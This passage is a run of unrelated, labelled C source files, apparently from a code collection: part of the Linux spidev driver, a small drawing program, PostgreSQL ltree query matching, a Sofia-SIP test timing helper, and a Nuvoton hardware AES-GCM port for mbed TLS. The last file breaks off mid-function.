spidev->devt = MKDEV(SPIDEV_MAJOR, minor); dev = device_create(spidev_class, &spi->dev, spidev->devt, spidev, "spidev%d.%d", spi->master->bus_num, spi->chip_select); status = PTR_ERR_OR_ZERO(dev); } else { dev_dbg(&spi->dev, "no minor number available!\n"); status = -ENODEV; } if (status == 0) { set_bit(minor, minors); list_add(&spidev->device_entry, &device_list); } mutex_unlock(&device_list_lock); spidev->speed_hz = spi->max_speed_hz; if (status == 0) spi_set_drvdata(spi, spidev); else kfree(spidev); return status; } static int spidev_remove(struct spi_device *spi) { struct spidev_data *spidev = spi_get_drvdata(spi); /* prevent new opens */ mutex_lock(&device_list_lock); /* make sure ops on existing fds can abort cleanly */ spin_lock_irq(&spidev->spi_lock); spidev->spi = NULL; spin_unlock_irq(&spidev->spi_lock); list_del(&spidev->device_entry); device_destroy(spidev_class, spidev->devt); clear_bit(MINOR(spidev->devt), minors); if (spidev->users == 0) kfree(spidev); mutex_unlock(&device_list_lock); return 0; } static struct spi_driver spidev_spi_driver = { .driver = { .name = "spidev", .of_match_table = of_match_ptr(spidev_dt_ids), .acpi_match_table = ACPI_PTR(spidev_acpi_ids), }, .probe = spidev_probe, .remove = spidev_remove, /* NOTE: suspend/resume methods are not necessary here. * We don't do anything except pass the requests to/from * the underlying controller. The refrigerator handles * most issues; the controller driver handles the rest. */ }; /*-------------------------------------------------------------------------*/ static int __init spidev_init(void) { int status; /* Claim our 256 reserved device numbers. Then register a class * that will key udev/mdev to add/remove /dev nodes. Last, register * the driver which manages those device numbers. */ BUILD_BUG_ON(N_SPI_MINORS > 256); status = register_chrdev(SPIDEV_MAJOR, "spi", &spidev_fops); if (status < 0) return status; spidev_class = class_create(THIS_MODULE, "spidev"); if (IS_ERR(spidev_class)) { unregister_chrdev(SPIDEV_MAJOR, spidev_spi_driver.driver.name); return PTR_ERR(spidev_class); } status = spi_register_driver(&spidev_spi_driver); if (status < 0) { class_destroy(spidev_class); unregister_chrdev(SPIDEV_MAJOR, spidev_spi_driver.driver.name); } return status; } module_init(spidev_init); static void __exit spidev_exit(void) { spi_unregister_driver(&spidev_spi_driver); class_destroy(spidev_class); unregister_chrdev(SPIDEV_MAJOR, spidev_spi_driver.driver.name); } module_exit(spidev_exit); MODULE_AUTHOR("Andrea Paterniani, <[email protected]>"); MODULE_DESCRIPTION("User mode SPI device interface"); MODULE_LICENSE("GPL"); MODULE_ALIAS("spi:spidev");
478131.c
int main(void) { int x,i; setColor(255,0,0); x=100; for (i=0; i<10 ; i++) { fillRect(x, 30, 10, 50); x=x+20; } wait(); }
638363.c
/* * op function for ltree and lquery * Teodor Sigaev <[email protected]> * $PostgreSQL: pgsql/contrib/ltree/lquery_op.c,v 1.11 2006/10/04 00:29:45 momjian Exp $ */ #include "ltree.h" #include <ctype.h> #include "utils/array.h" PG_FUNCTION_INFO_V1(ltq_regex); PG_FUNCTION_INFO_V1(ltq_rregex); PG_FUNCTION_INFO_V1(lt_q_regex); PG_FUNCTION_INFO_V1(lt_q_rregex); #define NEXTVAL(x) ( (lquery*)( (char*)(x) + INTALIGN( VARSIZE(x) ) ) ) typedef struct { lquery_level *q; int nq; ltree_level *t; int nt; int posq; int post; } FieldNot; static char * getlexeme(char *start, char *end, int *len) { char *ptr; while (start < end && *start == '_') start++; ptr = start; if (ptr == end) return NULL; while (ptr < end && *ptr != '_') ptr++; *len = ptr - start; return start; } bool compare_subnode(ltree_level * t, char *qn, int len, int (*cmpptr) (const char *, const char *, size_t), bool anyend) { char *endt = t->name + t->len; char *endq = qn + len; char *tn; int lent, lenq; bool isok; while ((qn = getlexeme(qn, endq, &lenq)) != NULL) { tn = t->name; isok = false; while ((tn = getlexeme(tn, endt, &lent)) != NULL) { if ( ( lent == lenq || (lent > lenq && anyend) ) && (*cmpptr) (qn, tn, lenq) == 0) { isok = true; break; } tn += lent; } if (!isok) return false; qn += lenq; } return true; } static bool checkLevel(lquery_level * curq, ltree_level * curt) { int (*cmpptr) (const char *, const char *, size_t); lquery_variant *curvar = LQL_FIRST(curq); int i; for (i = 0; i < curq->numvar; i++) { cmpptr = (curvar->flag & LVAR_INCASE) ? pg_strncasecmp : strncmp; if (curvar->flag & LVAR_SUBLEXEME) { if (compare_subnode(curt, curvar->name, curvar->len, cmpptr, (curvar->flag & LVAR_ANYEND))) return true; } else if ( ( curvar->len == curt->len || (curt->len > curvar->len && (curvar->flag & LVAR_ANYEND)) ) && (*cmpptr) (curvar->name, curt->name, curvar->len) == 0) { return true; } curvar = LVAR_NEXT(curvar); } return false; } /* void printFieldNot(FieldNot *fn ) { while(fn->q) { elog(NOTICE,"posQ:%d lenQ:%d posT:%d lenT:%d", fn->posq,fn->nq,fn->post,fn->nt); fn++; } } */ static struct { bool muse; uint32 high_pos; } SomeStack = { false, 0, }; static bool checkCond(lquery_level * curq, int query_numlevel, ltree_level * curt, int tree_numlevel, FieldNot * ptr) { uint32 low_pos = 0, high_pos = 0, cur_tpos = 0; int tlen = tree_numlevel, qlen = query_numlevel; int isok; lquery_level *prevq = NULL; ltree_level *prevt = NULL; if (SomeStack.muse) { high_pos = SomeStack.high_pos; qlen--; prevq = curq; curq = LQL_NEXT(curq); SomeStack.muse = false; } while (tlen > 0 && qlen > 0) { if (curq->numvar) { prevt = curt; while (cur_tpos < low_pos) { curt = LEVEL_NEXT(curt); tlen--; cur_tpos++; if (tlen == 0) return false; if (ptr && ptr->q) ptr->nt++; } if (ptr && curq->flag & LQL_NOT) { if (!(prevq && prevq->numvar == 0)) prevq = curq; if (ptr->q == NULL) { ptr->t = prevt; ptr->q = prevq; ptr->nt = 1; ptr->nq = 1 + ((prevq == curq) ? 0 : 1); ptr->posq = query_numlevel - qlen - ((prevq == curq) ? 0 : 1); ptr->post = cur_tpos; } else { ptr->nt++; ptr->nq++; } if (qlen == 1 && ptr->q->numvar == 0) ptr->nt = tree_numlevel - ptr->post; curt = LEVEL_NEXT(curt); tlen--; cur_tpos++; if (high_pos < cur_tpos) high_pos++; } else { isok = false; while (cur_tpos <= high_pos && tlen > 0 && !isok) { isok = checkLevel(curq, curt); curt = LEVEL_NEXT(curt); tlen--; cur_tpos++; if (isok && prevq && prevq->numvar == 0 && tlen > 0 && cur_tpos <= high_pos) { FieldNot tmpptr; if (ptr) memcpy(&tmpptr, ptr, sizeof(FieldNot)); SomeStack.high_pos = high_pos - cur_tpos; SomeStack.muse = true; if (checkCond(prevq, qlen + 1, curt, tlen, (ptr) ? &tmpptr : NULL)) return true; } if (!isok && ptr) ptr->nt++; } if (!isok) return false; if (ptr && ptr->q) { if (checkCond(ptr->q, ptr->nq, ptr->t, ptr->nt, NULL)) return false; ptr->q = NULL; } low_pos = cur_tpos; high_pos = cur_tpos; } } else { low_pos = cur_tpos + curq->low; high_pos = cur_tpos + curq->high; if (ptr && ptr->q) { ptr->nq++; if (qlen == 1) ptr->nt = tree_numlevel - ptr->post; } } prevq = curq; curq = LQL_NEXT(curq); qlen--; } if (low_pos > tree_numlevel || tree_numlevel > high_pos) return false; while (qlen > 0) { if (curq->numvar) { if (!(curq->flag & LQL_NOT)) return false; } else { low_pos = cur_tpos + curq->low; high_pos = cur_tpos + curq->high; } curq = LQL_NEXT(curq); qlen--; } if (low_pos > tree_numlevel || tree_numlevel > high_pos) return false; if (ptr && ptr->q && checkCond(ptr->q, ptr->nq, ptr->t, ptr->nt, NULL)) return false; return true; } Datum ltq_regex(PG_FUNCTION_ARGS) { ltree *tree = PG_GETARG_LTREE(0); lquery *query = PG_GETARG_LQUERY(1); bool res = false; if (query->flag & LQUERY_HASNOT) { FieldNot fn; fn.q = NULL; res = checkCond(LQUERY_FIRST(query), query->numlevel, LTREE_FIRST(tree), tree->numlevel, &fn); } else { res = checkCond(LQUERY_FIRST(query), query->numlevel, LTREE_FIRST(tree), tree->numlevel, NULL); } PG_FREE_IF_COPY(tree, 0); PG_FREE_IF_COPY(query, 1); PG_RETURN_BOOL(res); } Datum ltq_rregex(PG_FUNCTION_ARGS) { PG_RETURN_DATUM(DirectFunctionCall2(ltq_regex, PG_GETARG_DATUM(1), PG_GETARG_DATUM(0) )); } Datum lt_q_regex(PG_FUNCTION_ARGS) { ltree *tree = PG_GETARG_LTREE(0); ArrayType *_query = PG_GETARG_ARRAYTYPE_P(1); lquery *query = (lquery *) ARR_DATA_PTR(_query); bool res = false; int num = ArrayGetNItems(ARR_NDIM(_query), ARR_DIMS(_query)); if (ARR_NDIM(_query) != 1) ereport(ERROR, (errcode(ERRCODE_ARRAY_SUBSCRIPT_ERROR), errmsg("array must be one-dimensional"))); if (ARR_HASNULL(_query)) ereport(ERROR, (errcode(ERRCODE_NULL_VALUE_NOT_ALLOWED), errmsg("array must not contain nulls"))); while (num > 0) { if (DatumGetBool(DirectFunctionCall2(ltq_regex, PointerGetDatum(tree), PointerGetDatum(query)))) { res = true; break; } num--; query = NEXTVAL(query); } PG_FREE_IF_COPY(tree, 0); PG_FREE_IF_COPY(_query, 1); PG_RETURN_BOOL(res); } Datum lt_q_rregex(PG_FUNCTION_ARGS) { PG_RETURN_DATUM(DirectFunctionCall2(lt_q_regex, PG_GETARG_DATUM(1), PG_GETARG_DATUM(0) )); }
137468.c
/* * This file is part of the Sofia-SIP package * * Copyright (C) 2009 Nokia Corporation. * * Contact: Pekka Pessi <[email protected]> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public License * as published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA * 02110-1301 USA * */ #include "config.h" #include "s2util.h" #include <sofia-sip/su_time.h> #include <string.h> #include <stdio.h> /* -- Delay scenarios --------------------------------------------------- */ static su_time64_t time64_offset; extern void (*_su_time)(su_time_t *tv); extern su_time64_t (*_su_nanotime)(su_time64_t *t); extern su_time64_t (*_su_monotime)(su_time64_t *t); static void _su_time_fast_forwarder(su_time_t *tv) { su_time64_t t64 = su_time_to_time64(*tv); *tv = su_time64_to_time(t64 + time64_offset); } static su_time64_t _su_time64_fast_forwarder(su_time64_t *t) { return *t = *t + time64_offset; } su_duration_t s2_quickstep(su_root_t *root, su_duration_t step, su_duration_t forward) { _su_time = _su_time_fast_forwarder; _su_nanotime = _su_time64_fast_forwarder; _su_monotime = _su_time64_fast_forwarder; time64_offset += 1000000 * forward; return su_root_step(root, step); } void s2_fast_forward(unsigned long seconds, su_root_t *root) { _su_time = _su_time_fast_forwarder; _su_nanotime = _su_time64_fast_forwarder; _su_monotime = _su_time64_fast_forwarder; time64_offset += SU_E9 * (su_time64_t)seconds; if (root) su_root_step(root, 0); } void s2_timed_logger(void *stream, char const *fmt, va_list ap) { char buffer[4096]; su_time_t now = su_now(); size_t prefix, wrote; int n; snprintf(buffer, sizeof buffer, "%02u:%02u:%02u.%06lu[+%.3f] ", (unsigned)(now.tv_sec / 3600 % 24), (unsigned)(now.tv_sec / 60 % 60), (unsigned)(now.tv_sec % 60), now.tv_usec, time64_offset * 1e-9); prefix = strlen(buffer); n = vsnprintf(buffer + prefix, (sizeof buffer) - prefix, fmt, ap); if (n > 0) wrote = fwrite(buffer, prefix + n, 1, stream); }
258281.c
/* * NIST SP800-38D compliant GCM implementation * * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved * Copyright (C) 2022, Nuvoton Technology Corp., All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * This file is part of mbed TLS (https://tls.mbed.org) */ /* * http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf * * See also: * [MGV] http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/gcm/gcm-revised-spec.pdf * * We use the algorithm described as Shoup's method with 4-bit tables in * [MGV] 4.1, pp. 12-13, to enhance speed without using too much memory. */ #include "common.h" #if defined(MBEDTLS_GCM_C) #include "mbedtls/gcm.h" #include "mbedtls/platform_util.h" #include <string.h> #if defined(MBEDTLS_AESNI_C) #include "config.h" #endif #if defined(MBEDTLS_SELF_TEST) && defined(MBEDTLS_AES_C) #include "mbedtls/aes.h" #include "mbedtls/platform.h" #if !defined(MBEDTLS_PLATFORM_C) #include <stdio.h> #define mbedtls_printf printf #endif /* MBEDTLS_PLATFORM_C */ #endif /* MBEDTLS_SELF_TEST && MBEDTLS_AES_C */ #if defined(MBEDTLS_GCM_ALT) #include "NuMicro.h" /* Parameter validation macros */ #define GCM_VALIDATE_RET( cond ) \ MBEDTLS_INTERNAL_VALIDATE_RET( cond, MBEDTLS_ERR_GCM_BAD_INPUT ) #define GCM_VALIDATE( cond ) \ MBEDTLS_INTERNAL_VALIDATE( cond ) #define START CRPT_AES_CTL_START_Msk #define DMAEN CRPT_AES_CTL_DMAEN_Msk #define DMALAST CRPT_AES_CTL_DMALAST_Msk #define DMACC CRPT_AES_CTL_DMACSCAD_Msk #define START CRPT_AES_CTL_START_Msk #define FBIN CRPT_AES_CTL_FBIN_Msk #define FBOUT CRPT_AES_CTL_FBOUT_Msk #define GCM_MODE (AES_MODE_GCM << CRPT_AES_CTL_OPMODE_Pos) #define GHASH_MODE (AES_MODE_GHASH << CRPT_AES_CTL_OPMODE_Pos) #define CTR_MODE (AES_MODE_CTR << CRPT_AES_CTL_OPMODE_Pos) /* * Initialize a context */ void mbedtls_gcm_init( mbedtls_gcm_context *ctx ) { GCM_VALIDATE( ctx != NULL ); memset( ctx, 0, sizeof( mbedtls_gcm_context ) ); /* Reset Crypto */ SYS->IPRST0 |= SYS_IPRST0_CRPTRST_Msk; SYS->IPRST0 ^= SYS_IPRST0_CRPTRST_Msk; } static int32_t ToBigEndian(uint8_t *pbuf, uint32_t u32Size) { uint32_t i; uint8_t u8Tmp; uint32_t u32Tmp; /* pbuf must be word alignment */ if((uint32_t)pbuf & 0x3) { /* The buffer must be 32-bit alignment. */ return -1; } while(u32Size >= 4) { u8Tmp = *pbuf; *(pbuf) = *(pbuf + 3); *(pbuf + 3) = u8Tmp; u8Tmp = *(pbuf + 1); *(pbuf + 1) = *(pbuf + 2); *(pbuf + 2) = u8Tmp; u32Size -= 4; pbuf += 4; } if(u32Size > 0) { u32Tmp = 0; for(i = 0; i < u32Size; i++) { u32Tmp |= *(pbuf + i) << (24 - i * 8); } *((uint32_t *)pbuf) = u32Tmp; } return 0; } int mbedtls_gcm_setkey( mbedtls_gcm_context *ctx, mbedtls_cipher_id_t cipher, const unsigned char *key, unsigned int keybits ) { uint32_t au32Buf[8]; int32_t i, klen; uint32_t keySizeOpt; GCM_VALIDATE_RET( ctx != NULL ); GCM_VALIDATE_RET( key != NULL ); GCM_VALIDATE_RET( keybits == 128 || keybits == 192 || keybits == 256 ); klen = keybits / 8; ctx->keySize = klen; memcpy(au32Buf, key, klen); ToBigEndian((uint8_t *)au32Buf, klen); for(i = 0; i < klen / 4; i++) { CRPT->AES_KEY[i] = au32Buf[i]; } /* Prepare key size option */ i = klen >> 3; keySizeOpt = (((i >> 2) << 1) | (i & 1)) << CRPT_AES_CTL_KEYSZ_Pos; /* Basic options for AES */ ctx->basicOpt = CRPT_AES_CTL_INSWAP_Msk | CRPT_AES_CTL_OUTSWAP_Msk | CRPT_AES_CTL_DMAEN_Msk | GCM_MODE | keySizeOpt; return( 0 ); } #define swap32(x) (((x) & 0xff) << 24 | ((x) & 0xff00) << 8 | ((x) & 0xff0000) >> 8 | ((x) >> 24) & 0xff) static void swap64(uint8_t *p) { uint8_t tmp; int32_t i; for(i = 0; i < 4; i++) { tmp = p[i]; p[i] = p[7 - i]; p[7 - i] = tmp; } } /* NOTE: pbuf must be word alignment GCM input format must be block alignment. The block size is 16 bytes. {IV}{IV nbits}{A}{P/C} */ int32_t AES_GCMPacker(const uint8_t *iv, uint32_t iv_len, const uint8_t *A, uint32_t A_len, const uint8_t *P, uint32_t P_len, uint8_t *pbuf, uint32_t *psize) { uint32_t i; uint32_t iv_len_aligned, A_len_aligned, P_len_aligned; uint32_t u32Offset = 0; uint8_t *pu8; /* IV Section: if bitlen(IV) == 96 IV section = IV || 31'bit 0 || 1 if bitlen(IV) != 96 IV section = 128'align(IV) || 64'bit 0 || 64'bitlen(IV) */ if(iv_len > 0) { iv_len_aligned = iv_len; if(iv_len & 0xful) iv_len_aligned = ((iv_len + 16) >> 4) << 4; /* fill iv to output */ for(i = 0; i < iv_len_aligned; i++) { if(i < iv_len) pbuf[i] = iv[i]; else pbuf[i] = 0; // padding zero } /* fill iv len to putput */ if(iv_len == 12) { pbuf[15] = 1; u32Offset += iv_len_aligned; } else { /* Padding zero. 64'bit 0 */ memset(&pbuf[iv_len_aligned], 0, 8); /* 64'bitlen(IV) */ pu8 = &pbuf[iv_len_aligned + 8]; *((uint64_t *)pu8) = iv_len * 8; swap64(pu8); u32Offset += iv_len_aligned + 16; } } /* A Section = 128'align(A) */ if(A_len > 0) { A_len_aligned = A_len; if(A_len & 0xful) A_len_aligned = ((A_len + 16) >> 4) << 4; for(i = 0; i < A_len_aligned; i++) { if(i < A_len) pbuf[u32Offset + i] = A[i]; else pbuf[u32Offset + i] = 0; // padding zero } u32Offset += A_len_aligned; } /* P/C Section = 128'align(P/C) */ if(P_len > 0) { P_len_aligned = P_len; if(P_len & 0xful) P_len_aligned = ((P_len + 16) >> 4) << 4; for(i = 0; i < P_len_aligned; i++) { if(i < P_len) pbuf[u32Offset + i] = P[i]; else pbuf[u32Offset + i] = 0; // padding zero } u32Offset += P_len_aligned; } *psize = u32Offset; return 0; } static int32_t AES_Run(uint32_t u32Option) { int32_t timeout = 0x1000000; CRPT->AES_CTL = u32Option | START; /* Waiting for AES calculation */ while((CRPT->INTSTS & CRPT_INTSTS_AESIF_Msk) == 0) { if(timeout-- < 0) return -1; } CRPT->INTSTS = CRPT_INTSTS_AESIF_Msk; return 0; } /* AES_GCMTag is only used by AES_GCMEnc to calculate tag. */ static int32_t _GCMTag(mbedtls_gcm_context *ctx, const uint8_t *iv, uint32_t ivlen, const uint8_t *A, uint32_t alen, const uint8_t *P, uint32_t plen, uint8_t *tagbuf) { int32_t ret; int32_t i, len, plen_cur; const uint8_t *pin; uint8_t *pout; uint32_t inputblock[MAX_GCM_BUF * 2] = {0}; /* 2 block buffer, 1 for A, 1 for P */ uint32_t ghashbuf[MAX_GCM_BUF + 16] = {0}; uint8_t *pblock; uint32_t u32OptBasic; uint32_t u32OptKeySize; uint32_t tag[4]; /* Prepare key size option */ i = ctx->keySize >> 3; u32OptKeySize = (((i >> 2) << 1) | (i & 1)) << CRPT_AES_CTL_KEYSZ_Pos; /* Basic options for AES */ u32OptBasic = CRPT_AES_CTL_ENCRPT_Msk | CRPT_AES_CTL_INSWAP_Msk | CRPT_AES_CTL_OUTSWAP_Msk | u32OptKeySize; /* Set byte count of IV */ CRPT->AES_GCM_IVCNT[0] = ivlen; CRPT->AES_GCM_IVCNT[1] = 0; /* Set bytes count of A */ CRPT->AES_GCM_ACNT[0] = alen; CRPT->AES_GCM_ACNT[1] = 0; /* Set bytes count of P */ CRPT->AES_GCM_PCNT[0] = plen; CRPT->AES_GCM_PCNT[1] = 0; // GHASH(128'align(A) || 128'align(C) || 64'bitlen(A) || 64'bitlen(C)) // GHASH Calculation if(plen <= GCM_PBLOCK_SIZE) { /* Just one shot if plen < maximum block size */ pblock = (uint8_t *)&inputblock[0]; AES_GCMPacker(0, 0, A, alen, P, plen, pblock, (uint32_t *)&len); /* append 64'bitlen(A) || 64'bitlen(C) */ pblock += len; *((uint64_t *)pblock) = alen * 8; swap64(pblock); pblock += 8; *((uint64_t *)pblock) = plen * 8; swap64(pblock); pblock += 8; /* adding the length of 64'bitlen(A) and 64'bitlen(C) */ len += 16; pblock = (uint8_t *)&inputblock[0]; CRPT->AES_SADDR = (uint32_t)pblock; CRPT->AES_DADDR = (uint32_t)&ghashbuf[0]; CRPT->AES_CNT = len; AES_Run(u32OptBasic | GHASH_MODE | DMAEN /*| DMALAST*/); } else { /* Calculate GHASH block by block, DMA casecade mode */ /* feedback buffer is necessary for casecade mode */ CRPT->AES_FBADDR = (uint32_t)ctx->fb_buf; memset(ctx->fb_buf, 0, sizeof(ctx->fb_buf)); /* inital DMA for GHASH casecade */ if(alen) { /* Prepare the blocked buffer for GCM */ AES_GCMPacker(0, 0, A, alen, 0, 0, ctx->gcm_buf, (uint32_t *)&len); CRPT->AES_SADDR = (uint32_t)ctx->gcm_buf; CRPT->AES_DADDR = (uint32_t)&ghashbuf[0]; CRPT->AES_CNT = len; AES_Run(u32OptBasic | GHASH_MODE | FBOUT | DMAEN); } /* Caculate GHASH block by block */ pin = P; pout = (uint8_t *)&ghashbuf[0]; plen_cur = plen; len = GCM_PBLOCK_SIZE; while(plen_cur) { len = plen_cur; if(len > GCM_PBLOCK_SIZE) len = GCM_PBLOCK_SIZE; plen_cur -= len; if(plen_cur) { /* Sill has data for next block, it means current block size is full size */ /* len should be alway 16 bytes alignment in here */ CRPT->AES_SADDR = (uint32_t)pin; CRPT->AES_DADDR = (uint32_t)pout; CRPT->AES_CNT = len; AES_Run(u32OptBasic | GHASH_MODE | FBIN | FBOUT | DMAEN | DMACC); } else { /* Next block data size is 0, it means current block size is not full size and this is last block */ /* copy last C data to inputblock for zero padding */ memcpy((uint8_t *)&inputblock[0], pin, len); pin = (uint8_t *)&inputblock[0]; /* 16 bytes alignment check */ if(len & 0xf) { /* zero padding */ memset((void *)(pin + len), 0, 16 - (len & 0xf)); /* len must be 16 bytes alignment */ len = ((len + 16) >> 4) << 4; } /* append 64'bitlen(A) || 64'bitlen(C) */ pblock = (uint8_t *)pin + len; *((uint64_t *)pblock) = alen * 8; swap64(pblock); pblock += 8; *((uint64_t *)pblock) = plen * 8; swap64(pblock); pblock += 8; /* adding the length of 64'bitlen(A) and 64'bitlen(C) */ len += 16; CRPT->AES_SADDR = (uint32_t)pin; CRPT->AES_DADDR = (uint32_t)pout; CRPT->AES_CNT = len; AES_Run(u32OptBasic | GHASH_MODE | FBIN | FBOUT | DMAEN | DMACC | DMALAST); } pin += len; } } // CTR(IV, GHASH(128'align(A) || 128'align(C) || 64'bitlen(A) || 64'bitlen(C))) // CTR calculation /* Prepare IV */ if(ivlen != 12) { uint32_t u32ivbuf[4] = {0}; uint8_t *piv; // IV = GHASH(128'align(IV) || 64'bitlen(0) || 64'bitlen(IV)) piv = (uint8_t *)&u32ivbuf[0]; AES_GCMPacker(iv, ivlen, 0, 0, 0, 0, ctx->gcm_buf, (uint32_t *)&len); CRPT->AES_SADDR = (uint32_t)ctx->gcm_buf; CRPT->AES_DADDR = (uint32_t)piv; CRPT->AES_CNT = len; if((ret = AES_Run(u32OptBasic | GHASH_MODE | DMAEN/* | DMALAST*/))) { return ret; } /* SET CTR IV */ for(i = 0; i < 4; i++) { CRPT->AES_IV[i] = (piv[i * 4 + 0] << 24) | (piv[i * 4 + 1] << 16) | (piv[i * 4 + 2] << 8) | piv[i * 4 + 3]; } } else { // IV = 128'align(IV) || 31'bitlen(0) || 1 /* SET CTR IV */ for(i = 0; i < 3; i++) { CRPT->AES_IV[i] = (iv[i * 4 + 0] << 24) | (iv[i * 4 + 1] << 16) | (iv[i * 4 + 2] << 8) | iv[i * 4 + 3]; } CRPT->AES_IV[3] = 0x00000001; } CRPT->AES_SADDR = (uint32_t)&ghashbuf[0]; CRPT->AES_DADDR = (uint32_t)&tag[0]; CRPT->AES_CNT = 16; ret = AES_Run(u32OptBasic | CTR_MODE | DMAEN /*| DMALAST*/); memcpy(tagbuf, tag, 16); return ret; } #if 0 static void dump(char* buf, int size, char* str) { int i; printf("\r\n%s:", str); for(i = 0; i < size; i++) { if((i % 16) == 0) printf("\r\n"); printf("%02x ", buf[i]); } printf("\r\n"); } #endif static int32_t _GCM(mbedtls_gcm_context *ctx, const uint8_t *iv, uint32_t ivlen, const uint8_t *A, uint32_t alen, const uint8_t *P, uint32_t plen, uint8_t *buf, uint8_t *tag, uint32_t tag_len) { int32_t ret; int32_t plen_cur; int32_t len, len_aligned; const uint8_t *pin; uint8_t *pout; int32_t i; uint32_t u32OptBasic; uint32_t plen_aligned; uint32_t size; uint32_t key[8]; for(i = 0; i < 8; i++) { key[i] = CRPT->AES_KEY[i]; } SYS->IPRST0 = SYS_IPRST0_CRPTRST_Msk; SYS->IPRST0 = 0; for(i = 0; i < 8; i++) { CRPT->AES_KEY[i] = key[i]; } u32OptBasic = ctx->basicOpt; /* Set byte count of IV */ CRPT->AES_GCM_IVCNT[0] = ivlen; CRPT->AES_GCM_IVCNT[1] = 0; /* Set bytes count of A */ CRPT->AES_GCM_ACNT[0] = alen; CRPT->AES_GCM_ACNT[1] = 0; /* Set bytes count of P */ CRPT->AES_GCM_PCNT[0] = plen; CRPT->AES_GCM_PCNT[1] = 0; plen_aligned = (plen & 0xful) ? ((plen + 16) / 16) * 16 : plen; if(plen <= GCM_PBLOCK_SIZE) { /* Just one shot */ /* Prepare the blocked buffer for GCM */ AES_GCMPacker(iv, ivlen, A, alen, P, plen, ctx->gcm_buf, &size); CRPT->AES_SADDR = (uint32_t)ctx->gcm_buf; CRPT->AES_DADDR = (uint32_t)ctx->out_buf; CRPT->AES_CNT = size; ret = AES_Run(u32OptBasic | GCM_MODE | DMAEN); memcpy(buf, ctx->out_buf, plen); memcpy(tag, ctx->out_buf + plen_aligned, tag_len); } else { /* Process P block by block, DMA casecade mode */ /* inital DMA for AES-GCM casecade */ /* Prepare the blocked buffer for GCM */ AES_GCMPacker(iv, ivlen, A, alen, 0, 0, ctx->gcm_buf, &size); CRPT->AES_SADDR = (uint32_t)ctx->gcm_buf; CRPT->AES_DADDR = (uint32_t)ctx->out_buf; CRPT->AES_CNT = size; /* feedback buffer is necessary for casecade mode */ CRPT->AES_FBADDR = (uint32_t)ctx->fb_buf; AES_Run(u32OptBasic | GCM_MODE | FBOUT | DMAEN); /* Start to encrypt P data */ plen_cur = plen; pin = P; pout = buf; while(plen_cur) { len = plen_cur; if(len > GCM_PBLOCK_SIZE) { len = GCM_PBLOCK_SIZE; } plen_cur -= len; /* Prepare the blocked buffer for GCM */ memcpy(ctx->gcm_buf, pin, len); /* padding 0 if necessary */ if(len & 0xf) { memset(&ctx->gcm_buf[len], 0, 16 - (len & 0xf)); len_aligned = ((len + 16) >> 4) << 4; } else { len_aligned = len; } CRPT->AES_SADDR = (uint32_t)ctx->gcm_buf; CRPT->AES_DADDR = (uint32_t)ctx->out_buf; CRPT->AES_CNT = len_aligned; if(plen_cur) { /* casecade n */ ret = AES_Run(u32OptBasic | GCM_MODE | FBIN | FBOUT | DMAEN | DMACC); } else { /* last casecade */ ret = AES_Run(u32OptBasic | GCM_MODE | FBIN | FBOUT | DMAEN | DMACC | DMALAST); } if(ret < 0) { return ret; } memcpy(pout, ctx->out_buf, len); pin += len; pout += len; } memcpy(tag, ctx->out_buf+len_aligned, tag_len); } if(ctx->mode) { /* Need to calculate Tag when plen % 16 == 1 or 15 */ if(((plen & 0xf) == 1) || ((plen & 0xf) == 15)) { if((ret = _GCMTag(ctx, iv, ivlen, A, alen, ctx->out_buf, plen, tag))) { return ret; } } } return 0; } int mbedtls_gcm_starts( mbedtls_gcm_context *ctx, int mode, const unsigned char *iv, size_t iv_len) { uint32_t size; size_t *pSz; AES_ENABLE_INT(CRPT); if(mode == MBEDTLS_GCM_ENCRYPT) ctx->basicOpt |= CRPT_AES_CTL_ENCRPT_Msk; /* Set byte count of IV */ pSz = (size_t *)CRPT->AES_GCM_IVCNT; *pSz = iv_len; AES_GCMPacker(iv, iv_len, 0, 0, 0, 0, ctx->gcm_buf, &size); ctx->gcm_buf_bytes = size; return( 0 ); } /** * mbedtls_gcm_context::buf contains the partial state of the computation of * the authentication tag. * mbedtls_gcm_context::add_len and mbedtls_gcm_context::len indicate * different stages of the computation: * * len == 0 && add_len == 0: initial state * * len == 0 && add_len % 16 != 0: the first `add_len % 16` bytes have * a partial block of AD that has been * xored in but not yet multiplied in. * * len == 0 && add_len % 16 == 0: the authentication tag is correct if * the data ends now. * * len % 16 != 0: the first `len % 16` bytes have * a partial block of ciphertext that has * been xored in but not yet multiplied in. * * len > 0 && len % 16 == 0: the authentication tag is correct if * the data ends now. */ int mbedtls_gcm_update_ad( mbedtls_gcm_context *ctx, const unsigned char *add, size_t add_len ) { uint32_t size; size_t *pSz; int32_t ret; /* Set bytes count of A */ pSz = (size_t *)CRPT->AES_GCM_ACNT; *pSz = add_len; AES_GCMPacker(0, 0, add, add_len, 0, 0, ctx->gcm_buf + ctx->gcm_buf_bytes, &size); ctx->gcm_buf_bytes += size; /* Configure DMA */ CRPT->AES_SADDR = (uint32_t)ctx->gcm_buf; CRPT->AES_DADDR = (uint32_t)ctx->out_buf; CRPT->AES_FBADDR = (uint32_t)ctx->fb_buf; CRPT->AES_CNT = ctx->gcm_buf_bytes; /* Set a big number for unknown P length */ CRPT->AES_GCM_PCNT[0] = (uint32_t)-1; CRPT->AES_GCM_PCNT[1] = 0; /* Start with cascade mode */ if((ret = AES_Run(ctx->basicOpt | FBOUT | DMACC))) { return ret; } ctx->firstFlag = 1; return( 0 ); } int mbedtls_gcm_update( mbedtls_gcm_context *ctx, const unsigned char *input, size_t input_length, unsigned 